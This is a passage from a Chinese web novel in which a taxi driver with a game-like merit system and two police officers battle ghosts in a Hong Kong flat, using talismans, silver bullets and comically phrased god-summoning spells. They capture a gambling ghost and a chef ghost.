周星星大喊一声,动作麻利地从腰间皮套里掏出两个小巧的玻璃瓶,里面晃动着蓝色的液体,这是纸扎陈特制显形水,能削弱那些鬼物的阴气。
他手腕一抖,精准地将一瓶砸向左侧扑来的几个模糊鬼影,另一瓶甩向右侧!
“啪嚓!啪嚓!”
玻璃瓶碎裂,浑浊的液体四溅开来,如同泼墨般洒在那些鬼物身上!
“嗤嗤嗤……”
一阵仿佛冷水滴入热油的声音响起!
被液体溅到的鬼物身上立刻冒起淡淡的青烟,它们发出痛苦的嘶嚎,原本有些虚幻的身影瞬间变得清晰可见,甚至连脸上狰狞的表情都一清二楚!
“好!看我的!”
谢潮赞了一声,同样掏出显形水,配合周星星,将冲在最前面的几只鬼物浇了个透心凉!
鬼物被削弱,两人再无顾忌!
周星星和谢潮背靠背,互为犄角,将手中刻满符文的打鬼棒舞得虎虎生风!
“呜——啪!”
周星星一记势大力沉的横扫,棍身带着微弱的金光,狠狠砸在一个张着血盆大口扑来的小赌鬼腰间!
那小赌鬼惨叫一声,魂体如同被烙铁烫到,瞬间暗淡了不少,倒飞出去!
谢潮则更加沉稳,看起来竟然还会棍法,精准的或点、或戳、或撩,专攻鬼物的关节。
这时一个伸着长舌的吊死鬼试图用舌头缠绕他,被他敏捷地侧身躲过,反手一棍精准地点在鬼物的咽喉处!
“嗷!”吊死鬼发出凄厉的尖叫,长舌软软地垂了下去,魂体剧烈波动。
鬼物数量众多,攻势如潮水般涌来。
尽管两人棍法娴熟,配合默契,但难免有疏漏的时候。
一只身材矮小、动作迅捷的小鬼,趁着周星星对付正面一只高大恶鬼的间隙,悄无声息地从地面滑行接近,尖锐的鬼爪直掏周星星的脚踝!
就在鬼爪即将触碰到皮靴的瞬间....
“嗡!”
周星星胸口贴身佩戴的那张“护身符”骤然亮起一层薄薄的金光!
如同一个瞬间张开的鸡蛋壳,将小鬼的利爪挡在外面!
“嗤啦!”
一声轻微的灼烧声响起,小鬼的爪子碰到金光,仿佛碰到了烧红的铁板,冒起一股黑烟,疼得它吱吱乱叫,慌忙缩回爪子。
几乎同时,周星星感觉胸口猛地一烫,就像有人把一块烧热的炭块按在了皮肤上!
“我靠!烫烫烫!”
周星星龇牙咧嘴地怪叫一声,手下动作却不停,顺势一棍将面前那只高大的恶鬼逼退,然后才来得及低头看了一眼胸口。
只见护身符的位置,衣服下面隐隐有金光透出,还飘起一丝若有若无的焦糊味和青烟。
“德仔!你这护身符怎么跟烧开水似的!烫死我了!”
周星星一边狼狈地格挡着另一只鬼物的攻击,一边忍不住向后方悠闲观战的古德抱怨。
古德在后面看得分明,闻言笑道:“知足吧你!这说明护身符起作用了,帮你挡了一劫!烫一下总比被鬼掏心挖肺强!”
谢潮那边也遇到了类似情况,一个七窍流血的淹死鬼喷出的污秽阴水被他的护身符金光挡住,虽然没被直接攻击到,但胸口也是一阵灼热,让他眉头紧皱。
战斗激烈,常规手段有时难以迅速解决棘手的恶鬼。
这时,两人展现了特别事务科的专业素养!
当一只浑身冒着黑烟、明显是火灾丧生的恶鬼咆哮着冲来时,周星星眼中寒光一闪,猛地后撤半步,右手依旧持棍格挡其他鬼物,左手却以迅雷不及掩耳之势从腋下枪套中拔出了他的配枪。
一把经过特殊改装的点三八左轮!
“砰!”
**抽血,然后一声清脆的枪响在密闭的空间内回荡!
特制的镀银破邪弹头带着一丝微不可查的圣洁气息,精准地射入了那只火鬼的眉心!
“呃啊——!”
火鬼发出一声极其凄厉、不似人声的惨叫,魂体如同被点燃的汽油桶,猛地爆开一团明亮的火焰,随即迅速消散在空气中,只留下一股焦臭味。
物理超度,简单高效!
谢潮也在对付一个特别缠人的恶鬼时,瞅准机会,抽冷子给了它一枪,虽然没直接打散,但也重创了其魂体,随后被他一棍补刀,彻底解决
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。
两人一远一近,一棍一枪,配合越发默契,虽然偶有惊险,但在护身符和古德偶尔甩出的、如同小型**般炸开清光的“辟邪符”支援下,竟然稳稳地顶住了二十多只鬼物的**,并且开始逐步清理!
古德则好整以暇地站在战圈之外,如同一个经验丰富的猎人。
他手里拿着几个绘制了“收鬼符”的小瓷瓶,目光锐利地扫视着战场。
每当有鬼物被周星星或谢潮打得魂体黯淡、行动迟缓时,他便瞅准时机,手腕一抖,将瓷瓶口对准目标,低喝一声:“收!”
一股无形的吸力产生,那些虚弱的鬼物便身不由己地被吸入瓶中。
古德迅速盖上瓶盖,贴上“镇鬼符”,动作娴熟流畅,仿佛流水线作业。
随着战斗的进行,鬼物的数量快速减少。
但古德心中的疑惑却越来越重:那个正主赌鬼厉鬼,为什么到现在还不现身?
就眼睁睁看着自己辛苦积攒的“家底”被我们一点点蚕食?这不合常理!它到底在等什么?还是在准备什么阴谋?
就在古德凝神思索,周星星和谢潮刚刚合力击退一波攻势,稍稍喘口气的间隙——
异变陡生!
房间角落的阴影处,空气一阵扭曲!
一个穿着沾满油污的白色厨师服、头戴歪斜厨师帽的肥胖鬼影,毫无征兆地闪现而出!
这厨师鬼脸色惨白浮肿,一双死鱼眼没有任何感情,手里却握着一把寒光闪闪、缠绕着浓烈煞气的剔骨尖刀!
它的动作快得诡异,几乎是出现的同时,便化作一道模糊的白影,带着一股腥风,直扑向背对着它、正在擦拭额角汗水的周星星和谢潮!
手中的尖刀闪烁着致命的寒芒,直刺谢潮的后心!
这一下偷袭,时机、角度、速度都刁钻狠辣到了极点!
周星星和谢潮刚刚放松警惕,根本来不及反应!
“小心!快闪开!”
一直保持警惕的古德瞳孔骤然收缩,厉声大喝!
与此同时,他右手猛地发力!
“锵——!”
一声清越的剑鸣响起!
那柄门板般的桃木阔剑带起一股凌厉的罡风!
古德周身金光大盛,阔剑以开山裂石之势,带着沛然莫御的破邪之力,朝着那突袭的厨师鬼狠狠劈去!
“给老子滚开!”
第87章 什么就爱你一万年?
“哐——当——!!!”
一声极其刺耳、仿佛两把沉重铁器猛烈撞击的巨响,在空旷破败的404房间内轰然回荡,震得人耳膜发麻!
千钧一发之际,古德那柄门板似的桃木阔剑,后发先至,精准无比地横亘在谢潮后心与那把煞气森森的剔骨尖刀之间!
剑身与刀尖狠狠碰撞,爆出一团肉眼可见的、混合着金色罡气与黑色煞气的冲击波纹!
那肥胖的厨师鬼被阔剑上蕴含的磅礴巨力和纯阳破邪之气震得连连后退,手中的尖刀嗡嗡作响,它那双死鱼眼中首次露出了惊骇之色。
剩余那四五只还没来得及被收拾的小鬼,见状也吓得吱吱乱叫,慌忙退到厨师鬼身后,瑟瑟发抖。
“**……”
一阵缓慢而带着戏谑意味的掌声,从房间最阴暗的角落里传来。
众人循声望去,只见一个穿着笔挺的深色中山装、梳着一丝不苟的背头、面容阴鸷的中年男人,缓缓从阴影中踱步而出。
他脸上带着一种猫捉老鼠般的玩味笑容,一边鼓掌,一边用冰冷的眼神扫过古德三人。
“厉害,真是厉害。”
中山装男人开口,声音低沉沙哑,带着一股久居上位的压迫感,“就是你们这几个不知天高地厚的小子,坏了我的好事,还把林中发那个废物给弄走了,是吧?”
说到最后,他的笑容瞬间消失,眼神变得如同毒蛇般阴狠锐利,浓郁的怨毒之气几乎化为实质,让周围的温度都骤降了几分!
此人,正是盘踞在此的元凶。
那个因赌败家、最终服毒自尽化作厉鬼的富豪赌鬼!
然而,当古德看清这张脸的瞬间,脑子里一段记忆划过,那是一个表情包,让他差点没绷住!
一股强烈的违和感涌上心头!
这张脸……是上一世那位演技派明星吴一将啊!
古德赶紧低下头,用力掐了自己大腿一把,脑海里飞速闪过各种悲伤的事情,才勉强把即将翘起的嘴角压了下去,但肩膀还是忍不住微微抖动了一下。
他轻咳一声,掩饰住尴尬,抬起头,努力摆出严肃的表情,剑指赌鬼,冷声道:
“废话少说!你祸害生灵,盘踞阳间,今日我们就是来替天行道,收了你这个孽障!没想到你还找了个帮手!”
那赌鬼闻言,阴恻恻地笑了起来,伸手拍了拍旁边那个手持尖刀、虎视眈眈的厨师鬼的肩膀,语气带着炫耀和残忍:
“帮手?呵呵……你们恐怕还不知道自己惹了多大的麻烦!我们协会早就想找你们算账了,正好你们自己送上门来,还破坏了我的‘替身’计划!这就叫天堂有路你不走,地狱无门你闯进来!”
他顿了顿,指着厨师鬼,得意地说道:“看到没有?为了好好招待你们,我可是特地请来了我们协会里鼎鼎大名的庖丁!他生前可是专门处理特殊食材的顶尖高手!能死在它的刀下,是你们的荣幸!”
“协会?”古德眉头紧紧皱起,“难道是……‘怪谈协会’?”
他心里一沉,这个神秘的组织沉寂了有一段时间了,他还以为对方暂时偃旗息鼓,没想到竟然在这里等着他们!
而且一出手就是两个厉鬼级别的成员!
看来对方是蓄谋已久,想来个瓮中捉鳖!
形势瞬间变得严峻!
原本预计只有一个厉鬼,现在变成了两个,而且这个厨师鬼庖丁看起来极其凶悍!
不能再拖延了,必须速战速决!
古德立刻向身后的谢潮和周星星使了一个极其隐蔽的眼色:别藏了,亮底牌!
谢潮和周星星接收到信号,心中了然,但同时脸上都浮现出一丝难以掩饰的……羞耻。
因为在他们与各自神像加深联系后,神像反馈给他们的信息中,除了力量运用法门外,还有一句能够快速引动神力的“启动咒语”。
只是这咒语……实在是有点难以启齿。
但眼下强敌环伺,也容不得他们犹豫了。
两人对视一眼,都从对方眼中看到了“豁出去了”的决心。
谢潮深吸一口气,脸上表情古怪,像是要奔赴刑场一般,他顿了顿,仿佛用尽了全身力气,才喊出最后那句:
“爱你一万年!”
旁边的周星星几乎在同一时间,也用一种夸张而深情的语气接口喊道:
“我希——望——是——一——万——年——!”
古德:“???”
他差点一个趔趄栽倒在地,用看神经病一样的目光看向两人!
这都什么时候了?生死关头啊大哥们!你们俩在这对台词呢?!
还是《情癫大圣》和《大话西游》的台词?!
这羞耻度爆表的台词跟请神有半毛钱关系吗?!
然而,下一瞬间,古德就震惊地闭上了差点脱臼的下巴!
只见谢潮和周星星话音刚落的刹那,两人身上骤然爆发出两股截然不同、却同样强大的气息!
谢潮周身,一层凝实而温和的金色佛光瞬间涌现!
这光芒不像古德的金光咒那般锐利逼人,而是带着一种悲天悯人的慈悲之意,又带着决绝的赴死之意,将他整个人笼罩其中,连带着他手中的打鬼棒也镀上了一层金辉!
他的眼神变得无比深邃、坚定,仿佛看透了世间苦难,蕴含着一种“我不入地狱谁入地狱”的大无畏精神!
虽然面容还是谢潮,但气质却发生了天翻地覆的变化,宛如一位得道高僧!
而周星星那边,
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变化....也没有变化太多。
他身上并没有耀眼的光芒,但一股桀骜不驯、战天斗地的狂放气息冲天而起!
他歪了歪脖子,嘴角勾起一抹玩世不恭、又带着几分睥睨天下的笑容,手里的打鬼棒随意地扛在肩上,眼神扫过对面的赌鬼和厨师鬼,充满了“你们都是渣渣”的不屑。
虽然看起来还是那个吊儿郎当的周星星,但内里的魂似乎瞬间换了一个!
“**……还真请来了?!”
古德心中巨震,同时也涌起一股强烈的吐槽欲望:这请神咒语……也太特么个性了吧?!
难道那唐三藏和大圣的爱好都这么……别致?
不过现在不是深究这个的时候!
古德瞬间反应过来,战局已变!
他大喝一声,分配任务:“那个玩刀的胖厨子交给我!阿潮,阿星,那个穿中山装的赌鬼交给你们俩了!尽量抓活的……呃,抓完整的!打个半死就行,我还要收阴德呢!”
话音未落,古德已率先发动攻击!
他双手紧握桃木阔剑,脚踏七星步,身形如电,直扑那个煞气腾腾的厨师鬼庖丁!
“荡秽七式·第一式:开云见日!”
阔剑带着撕裂空气的呼啸声,自上而下,以力劈华山之势,直斩厨师鬼头顶!
这一式旨在以绝对的力量和正气,劈开邪祟迷雾,震慑鬼物心神!
厨师鬼“庖丁”反应极快,怒吼一声,手中剔骨尖刀向上疾撩,刀身黑气暴涨,硬生生架住了这势大力沉的一剑!
刀剑再次相交,爆发出更加剧烈的轰鸣!
与此同时,另一边战团也瞬间爆发!
身覆佛光的谢潮,眼神悲悯而坚定,低喝一声,直接施展出了古德传授的金光咒,金色光芒覆盖全身与棍棒,身形一动,如同金刚怒目,直取赌鬼中宫!
棍法变得大开大合,充满了堂堂正正的降魔之力!
而周星星则怪叫一声,身形如同灵猴般窜出,棍法变得刁钻诡异,专攻赌鬼的下盘和侧翼,嘴里还不停地嚷嚷着:
“吃俺老孙一棒!哎打不着打不着气死你!”
将骚扰和主攻完美结合!
赌鬼“富豪”脸上的得意和从容瞬间消失得无影无踪,取而代之的是无比的震惊和一丝慌乱!
他万万没想到,这两个刚才还只是有点难缠的警察,转眼间竟然变得如此厉害!
那金色的佛光让他浑身不舒服,那个上蹿下跳的小子更是烦人至极!
“怎么可能?!你们怎么会这么厉害的法术?!”
赌鬼又惊又怒,挥舞着鬼爪,催动浓烈的怨气拼命抵挡着谢潮和周星星**般的攻击,一时间竟被打得手忙脚乱,险象环生!
第88章 就像西方没有了耶路撒冷
赌鬼虽然怨气深重,成了气候的厉鬼,但主要本事都用在制造幻境、诱惑人心和积聚阴气上,近身搏杀并非其强项。
面对请神上身、实力暴涨的谢潮和周星星,它那身浓郁的阴气怨念,就像一层厚厚的棉花,虽然能缓冲,却经不起持续的猛力捶打。
它身边最后几只忠心耿耿的伥鬼,还没扑到跟前,就被周星星如同打地鼠般,“砰砰”几记势大力沉的棍子砸得魂飞魄散,连惨叫都没来得及发出。
谢潮眉头微蹙,他能清晰地感觉到,体内那股借来的、温暖而强大的“神力”正在如同退潮般缓缓消散。
毕竟与神像的沟通时日尚短,联系不够紧密,请来的力量有限且无法持久。
也正是因为沟通时日尚短,请来的力量也不是强大。
但好在,对付眼前这个已经被打懵的赌鬼,目前的力量绰绰有余。
“阿星,别玩了!速战速决!”
谢潮沉声喝道,手中金光闪烁的打鬼棒攻势更紧,如同**般砸向赌鬼的护体阴气。
周星星也感觉到了力量的流逝,收起了那副玩闹的表情,眼神一凝,低吼一声:“收到!”
只见他手腕一抖,棍身上那些用混合了香炉金粉的朱砂描绘的符文骤然亮起一抹诡异的血红光芒!
接着打鬼棒外覆盖了一层浅浅的红色气息!
“吃我一记全垒打!”
周星星大喝一声,腰马合一,双臂抡圆了棍子,带着一股蛮横的破邪之力,狠狠抽在赌鬼仓促凝聚的阴气护盾上!
“嘭!!”
一声闷响,黑红色的阴气如同被砸碎的玻璃般四散崩裂!
赌鬼发出一声凄厉的惨叫,魂体剧震,不受控制地倒飞向谢潮的方向!
谢潮早已蓄势待发,见赌鬼飞来,不闪不避,踏步上前,手中沐浴在柔和佛光和金光咒中的打鬼棒自下而上,一记精准的撩击!
“阿弥陀佛!下去吧!”
“啪!!”
棍棒结结实实地抽在赌鬼的魂体上,佛光与阴气激烈碰撞,发出“嗤嗤”的灼烧声!
赌鬼再次惨叫着,像个破麻袋一样被抽得原路飞了回去,魂体又黯淡了几分!
周星星嘿嘿一笑,摆好姿势,又是一棍!
“乓!”
“喔!!”
“咻——啪!”
就这样,赌鬼如同一个不幸的乒乓球,被谢潮和周星星用附魔的打鬼棒你来我往,抽得晕头转向,惨叫连连。
它周身的阴气被打得七零八落,魂体越来越透明,连维持人形都变得困难。
来回不过五六下,赌鬼终于扛不住了,“噗通”一声瘫跪在地上,双手作揖,哭爹喊娘地求饶:
“两位大佬!两位爷爷!饶命啊!小的知错了!别再打了!再打就魂飞魄散啦!我……我把我藏的钱……啊不,藏的阴财都给你们!求求你们高抬贵手啊!”
它一把鼻涕一把泪(如果鬼有的话),看起来凄惨无比。
周星星掏了掏耳朵,一脸不屑:“鬼话连篇!信你才有鬼了!阿潮,搞定它!”
说完,他助跑两步,猛地跃起,双手握棍,使出全身力气,朝着赌鬼的天灵盖位置狠狠砸下!
“给爷趴下!”
“轰!”
这一棍汇聚了周星星剩余的所有神力和棍棒本身的破邪威能,结结实实地砸在赌鬼身上!
赌鬼连最后一声惨叫都没能发出,魂体如同被重锤击中的瓷器,瞬间布满了裂痕,光芒极度黯淡,直接瘫软在地,彻底失去了反抗能力。
谢潮见状,不敢怠慢,立刻从腰间取出一个画好了“收魂符”的瓷瓶,拔掉塞子,瓶口对准地上奄奄一息的赌鬼,低喝一声:“收!”
一股强大的吸力从瓶口传出,赌鬼那残破的魂体化作一缕黑烟,挣扎着被吸入了瓶中。
谢潮迅速塞紧瓶塞,又贴上一张“镇鬼符”,用力晃了晃,确认无误后才松了口气。
与此同时,古德那边的战斗也进入了白热化。
那厨师鬼“庖丁”果然凶悍无比!
它手中的那把剔骨尖刀绝非凡品,不知吞噬了多少生灵的魂魄和怨气,煞气冲天,锋利无匹!
每一次劈砍,都带着撕裂魂体的阴寒刀罡!
古德新铸的桃木阔剑虽然用料扎实、符文精妙,但毕竟刚刚成型,未经长期法力温养,灵性和坚韧度都有所不足。
在经历了数次与煞气刀的硬碰硬后……
“咔嚓!”
一声令人心碎的脆响!
在又一次激烈的格挡中,桃木阔剑终于不堪重负,从中间断成了两截!
古德看着手中只剩半截的剑身,嘴角忍不住抽搐了一下,心疼得直滴血:“我的宝贝阔剑!才第一次出战就……”
厨师鬼见状,死鱼眼中爆发出狂喜的光芒!
它怪叫一声,抓住这个空档,挥舞着煞气刀,如同一个滚动的肉球,带着一股腥风,猛扑向看似手无寸铁的古德!
“来得正好!”
古德眼中却毫无慌乱,反而闪过一丝计谋得逞的精光!
他早就料到新剑可能扛不住,早有准备!
只见他脚下步伐一错,巧妙地向后滑开半步,避开刀锋的正面冲击。
同时,他右手并指如剑,反手向上一拍自己后背!
“锵!”
那柄一直被他用红布包裹、背在身后的常规桃木剑,应声而出!
红布散开,桃木剑如同有灵性般,化作一道赤红色的流光,带着尖锐的破空声和纯阳破邪之气,直射厨师鬼的面门!
这一下变起仓促,又快又狠!
厨师鬼大惊失色,慌忙回刀格挡!
“当!”
桃木剑被煞气刀磕飞,但那股冲击力也让厨师鬼身形一滞!
就在这旧力已尽、新力未生的瞬间——
古德一直蓄势待发的左手猛然探出!
掌心之中,刺眼的湛蓝色雷光疯狂汇聚、压缩,发出“噼里啪啦”的爆鸣声!
“喜欢砍我的剑?那就尝尝这个!**!”
古德怒吼一声,对准近在咫尺的厨师鬼,将掌心凝聚的雷霆之力狠狠推出!
“轰隆!!!”
一道蓝色电蛇撕裂空气,以肉眼难以捕捉的速度,瞬间轰入了厨师鬼肥胖的魂体之内!
“嗷啊啊啊啊——!!!”
厨师鬼发出了前所未有的、撕心裂肺的惨嚎!
雷霆之力至阳至刚,正是一切阴邪鬼物的绝对克星!
雷光在它魂体内疯狂肆虐、炸裂!
只见它全身黑气如同沸水般翻滚、蒸发,魂体表面出现无数道雷电灼烧的焦痕,庞大的身躯剧烈抽搐,连手中的煞气刀都差点握不住!
古德一击得手,毫不停留!
他纵身一
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跃,凌空接住被磕飞的桃木剑。
入手瞬间,体内液态法力珠疯狂运转,精纯的法力如同江河决堤般涌入剑身!
“嗡——!”
桃木剑发出一声欢快的轻鸣,剑身瞬间被一层凝练的金色光芒完全覆盖!
光芒之盛,远超之前!
“荡秽七式!”
古德眼神冰冷,剑随身走,再次施展出专破邪祟的剑法!
但这一次,有了趁手且灌注了充沛法力的桃木剑加持,威力不可同日而语!
“第二式:拨云见日!”剑光如扇面横扫,荡开残余刀罡。
“第三式:力劈华山!”势大力沉,直斩中门。
“第四式:灵蛇出洞!”剑尖疾点,直刺魂体!
“第五式:迎风掸尘!”剑身轻抖,化解反扑。
中了**、遭受重创的厨师鬼,此刻毫无还手之力,只能凭借本能和深厚的阴气硬抗。
但在古德连绵不绝、招招致命的剑法攻击下,它的防御如同纸糊般被层层剥开!
最终,古德抓住一个破绽,桃木剑化作一道金色闪电,精准地刺入了厨师鬼的胸口!
“噗!”
如同气球被戳破,厨师鬼全身的阴气瞬间溃散!
它发出一声不甘的哀鸣,庞大的魂体迅速缩小、变得透明,最终瘫软在地。
古德长舒一口气,额角见汗。
他同样取出一个瓷瓶,将这只更难缠的厨师鬼也收了进去,贴上符箓封好。
看着手中两个沉甸甸的、装着厉鬼的瓷瓶,再想想之前收掉的那些恶鬼怨灵,古德脸上终于露出了难以抑制的喜悦笑容!
“大丰收!绝对是超级大丰收!两只资深厉鬼!五只恶鬼!还有十几只怨灵!这波阴德……怕是要直接爆表了吧?系统升级,指日可待啊!”他美滋滋地想着。
随着两只主要厉鬼被收服,剩余的小鬼也早已清理干净,维持这个404房间的小型鬼蜮的力量源泉彻底消失。
周围的景象一阵水波般的扭曲、晃动,金碧辉煌和破败阴森的场景交替闪烁了几下,最终如同褪色的油漆般剥落,彻底显露出房间原本的模样,一个破旧没有多少家居的普通出租屋。
那股令人窒息的阴冷气息也迅速消散。
古德收敛了周身金光,感觉法力消耗不小,但精神却异常振奋。
他转头看向谢潮和周星星,只见两人已经一屁股瘫坐在地上,背靠着墙壁,大口大口地喘着粗气,脸色苍白,汗如雨下。
请神术的后遗症显现出来,那种力量被抽离的虚脱感非常明显。
古德走过去,刚想关心两句,但目光扫过两人那副狼狈又带着点成就感的模样,脑海里就不由自主地再次回响起那两句石破天惊的请神咒语……
“爱你一万年……”
“我希望是一万年……”
“噗……”古德赶紧捂住嘴,强行把笑意憋了回去,肩膀却控制不住地抖动起来。
他清了清嗓子,努力摆出严肃的表情,从挎包里掏出两瓶补充体力的葡萄糖水,递了过去:
“咳……辛苦了,先喝点水缓一缓。今晚多亏你们,要是晚上没有你们,我就像西方没有了耶路撒冷!”
“你们是今晚最大的功臣。”
虽然如此,只是古德那控制不住微微上扬的嘴角,还是暴露了他内心的真实想法。
第89章 那赌鬼的笑声真嚣张
看着古德那副想笑又强忍着、肩膀一耸一耸的古怪模样,瘫坐在地上的周星星没好气地翻了个大大的白眼,有气无力地吐槽道:
“喂,德仔!想笑就笑出来吧,别憋着了!再憋下去,把你那张跟读者一样的帅脸憋坏了,我怕你回头找我报工伤!我可赔不起!”
“噗……哈哈哈……哎哟喂!”
古德被周星星这么一逗,再也忍不住,放声大笑起来,笑得前仰后合,眼泪都快飙出来了。
刚才那紧张激烈的战斗氛围,瞬间被这笑声冲散了不少。
谢潮靠在墙边,看着笑得毫无形象的古德,无奈地摇了摇头,苍白的脸上也露出一丝苦笑。
笑了好一阵,古德才揉着笑酸的肚子,喘着气停了下来。
他擦了擦眼角的泪花,好奇地问:“不是……我说,你们俩那请神的咒语……怎么变得那么……呃,别致?跟我教的标准版差得也太多了吧?”
谢潮叹了口气,声音还有些虚弱:
“是那尊神像‘告诉’我们的。建立联系后,脑子里自然就浮现出这段……嗯,最有效的‘启动密语’。确实比你教的那套冗长的咒语简洁多了,就是……”
他顿了顿,脸上又浮现出那熟悉的尴尬神色,“就是念出来需要一点勇气。”
古德恍然大悟,耸了耸肩,揶揄道:“懂了,专属定制VIP快捷通道。行吧,反正尴尬的不是我,好用就行!”
他心想,看来这些大号的个性还真是鲜明啊。
玩笑开过,正事要紧。
古德收敛笑容,环顾四周。虽然两只主犯厉鬼已被收服,但这间屋子作为多年鬼巢,依旧弥漫着一种若有若无的阴冷、晦暗的气息,墙角、阴影处仿佛还有残留的邪祟在蠢蠢欲动。
长期下去,难免还会滋生事端。
他感受了一下体内的情况,刚才一战消耗不小,但液态法力珠依旧稳定旋转,还剩下约莫三分之一左右的法力。
足够完成最后的清理工作了。
“一鼓作气,把这里彻底打扫干净。”
古德神色一肃,向前踏出几步,站在房间中央。
他双手缓缓抬起,在胸前结成一个复杂的法印,体内剩余的法力开始按照特定的轨迹流转、汇聚。
他闭上眼睛,调整呼吸,口中清晰而沉稳地念诵起庄严肃穆的咒文:
“天地自然,秽气分散.......灵宝符命,普告九天.......持诵一遍,却病延年.......凶秽消散,道炁长存!急急如律令!”
随着咒语声声响起,古德周身开始散发出一种清净、祥和、涤荡一切污秽的柔和白光!
这光芒并不刺眼,却带着一种无可抗拒的净化之力,如同温暖的阳光洒向积雪,又如清冽的泉水冲刷污垢。
白光以古德为中心,如同水波般向整个房间荡漾开去。
所过之处,那些残留的阴邪之气如同遇到了克星,发出轻微的“嗤嗤”声,迅速消融、蒸发!
角落里的阴影被照亮,空气中那股令人不适的霉味和压抑感也随之消散,取而代之的是一种雨后山林般的清新与安宁。
整个净化过程持续了约莫一分钟。
当古德最后一个音节落下,周身白光渐渐收敛时,404房间已经焕然一新。
虽然依旧破旧,但那种深入骨髓的阴森鬼气已荡然无存,只剩下普通老房子该有的陈旧感。
从今往后,这里终于可以再次住人,而不用担心被邪祟骚扰了。
“搞定!”古德长长舒了一口气,打了个响指,脸上露出满意的神色。
他转身对还坐在地上的谢潮和周星星说道:“行了,此间事了。走吧,下楼,别让下面的人等急了。”
谢潮和周星星经过这一会儿的休息,又喝了古德给的葡萄糖水,恢复了一些力气。两人互相搀扶着,用打鬼棒当拐杖,慢慢站了起来。
虽然依旧疲惫,但眼神中充满了完成艰巨任务后的轻松和成就感。
三人一同走下楼梯。
刚一出单元门,等在外面的岚婆、龙婆、于子朗和莫作栋就立刻围了上来,脸上都带着关切和询问的神色。
“德仔!怎么样?没事吧?”岚婆最先开口,目光扫过三人,看到他们都安然无恙,只是有些脱力,这才放下心来。
古德笑了笑,将手里那个装着好几个瓷瓶、显得沉甸甸的袋子递给岚婆:
“岚婆,放心,搞定了。喏,这是今晚的‘战利品’,有两只大的,加上之前收的小喽啰,都在这儿了。今晚您老可是清闲了,没轮到您出手。”
接着,他简单跟岚婆说了一下瓶子里鬼物的分配,尤其是那两只厉鬼,叮嘱岚婆处理时多加小心,并按照之前的约定商量好了阴德分配的方案。
岚婆接过袋子,感受着里面传来的阵阵阴冷波动,脸上笑开了花,皱纹都舒展开了:
“好好好!德仔,这次真是多亏了你们几个后生仔了!辛苦辛苦!没想到这里面竟然有两只厉鬼,而且这事是老婆子我牵的头,却没帮上什么忙,算我欠你一个人情!以后有什么需要帮忙的,尽管开口!”
她这话说得真心实意,古德这次不仅解决了**烦,还让她白赚了不少阴德,这份人情她记下了。
古德点了点头,也没客气:“岚婆言重了,互相帮忙嘛。”
他顿了顿,想到怪谈协会的事,又跟岚婆道:“岚婆,你
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送着两个厉鬼交差的时候,能不能问一下,他们怪谈协会的地址是哪里。”
岚婆听到后,若有所思的点了点头,表示知道了。
这时,于子朗悄悄凑到古德身边,一脸好奇加崇拜地问:
“阿德,你们在上面真是太厉害了!我在楼下都能隐约听到那个赌鬼嚣张的大笑声,隔着一层楼都觉得瘆人!你们是怎么把它给制服的?是不是用了什么超级厉害的法术?”
他显然把之前古德那阵忍不住的爆笑,误认为是厉鬼的挑衅了。
古德脸上的笑容瞬间僵住,嘴角微微抽搐了一下。
他暗暗瞥了一眼一脸天真求知欲旺盛的于子朗,心里的小本本上默默记下了一笔:“好小子,听力挺好嘛……行,我记住你了,以后有‘好差事’肯定优先想着你。”
旁边的周星星听到了于子朗的话,先是愣了一下,随即反应过来,脸上露出贼兮兮的笑容。
他一把搂住于子朗的肩膀,把他带到一边,压低声音,煞有介事地说:
“子朗啊,你想知道怎么回事?来来来,星哥我给你好好讲讲,当时那场面,可是惊心动魄、一波三折啊……”
他开始添油加醋地描述起来,至于会不会把古德的笑声也编进故事里,那就只有天知道了。
事情基本处理完毕,龙婆年纪大了,经过这一晚上的折腾,也都有些精力不济,便先行告辞离开了。
岚婆也急着下去交差。
龙婆临走前还特意叮嘱莫作栋跟着谢潮他们,多学习学习。
现场只剩下古德、谢潮、周星星、于子朗和莫作栋五个年轻人。
古德摸了摸下巴,感觉肚子有点饿,一场大战下来,消耗实在不小。
他看了看身边这几位今晚也算出了力的伙伴,大手一挥:“走!为了庆祝今晚旗开得胜,于子朗请客!咱们去陈氏兄妹茶餐厅吃夜宵去!”
说完,他也不管于子朗瞬间瞪大的眼睛和一脸“为什么是我”的懵逼表情,率先朝着自己那辆红色的出租车走去。
谢潮和周星星相视一笑,很默契地没有反驳,跟着附和:“好主意!正好饿坏了!”
莫作栋也憨厚地笑了笑,表示赞同。
于子朗看着已经走向汽车的古德,又看看旁边明显打算“宰”他一顿的几人,张了张嘴,最终把**的话咽了回去,无奈地挠了挠头,小声嘀咕:“怎么就我请客了……我工资也不高啊……”
夜色中,红色的出租车载着五个年轻人,朝着灯火通明、充满烟火气的茶餐厅驶去。
车窗外,香江的夜晚依旧繁华,而车内的几人,则在疲惫中带着一丝兴奋,开始讨论着待会儿要怎么宰于子朗。
第90章 又双叒叕遇到郑立了
第二天清晨,阳光透过窗户洒进房间。
古德醒来后第一件事,就是习惯性地唤出系统面板。
果然,一条清晰的提示映入眼帘:
【阴德到账:630点】
【来源明细:厉鬼抽成+300点;其余厉鬼/恶鬼/怨灵业务抽成及分摊+330点】
【当前阴德:1880/3000】
“嚯!厉鬼就是值钱啊!”
古德眼睛一亮,虽然那只赌鬼厉鬼主要是谢潮和周星星解决的,他只拿了抽成,但另一只厉鬼是他的。
价值300点阴德,抵得上他辛苦超度好多游魂野鬼了。
加上昨晚其他鬼物的业绩,一下子进账330点,总阴德达到了1880点,距离系统升级所需的3000点目标,又迈进了一大步。
“照这个速度,再接再厉,说不定真能在一两个月内攒够!”
古德心情愉悦地洗漱完毕,神清气爽地再次出车。
阴阳路888号的厉鬼事件解决后,似乎整个片区的治安都好了不少。
古德开着车在街上转悠了大半天,除了几个搭顺风车被他顺手收了的普通游魂,再没遇到什么棘手的灵异事件,平静得让他有点不习惯。
中途等红灯的时候,他接到了谢潮的电话。
“阿德,有个情况跟你说下。”谢潮的声音带着点唏嘘,“我们早上把林中发从警署放出来了。你猜怎么着?这家伙好像一夜之间老了十岁!头发白了不少,脸上皱纹也深了,走路都颤巍巍的,跟他之前那个嚣张劲儿简直判若两人。”
古德握着方向盘,目光平静地看着前方川流不息的车流,心里跟明镜似的。
他淡淡回道:“正常。他跟厉鬼做交易,透支的是自己的寿命和气运来换赌桌上的横财。现在厉鬼被我们收了,契约反噬,代价自然就体现出来了。
能捡回一条命,只是衰老十年,已经算他走运了。希望经过这次教训,他能真的醒悟吧,别再碰赌了。”
挂掉电话,古德叹了口气。
这种事他电影里见多了,赌徒的心理很难捉摸,但愿林中发是个例外。
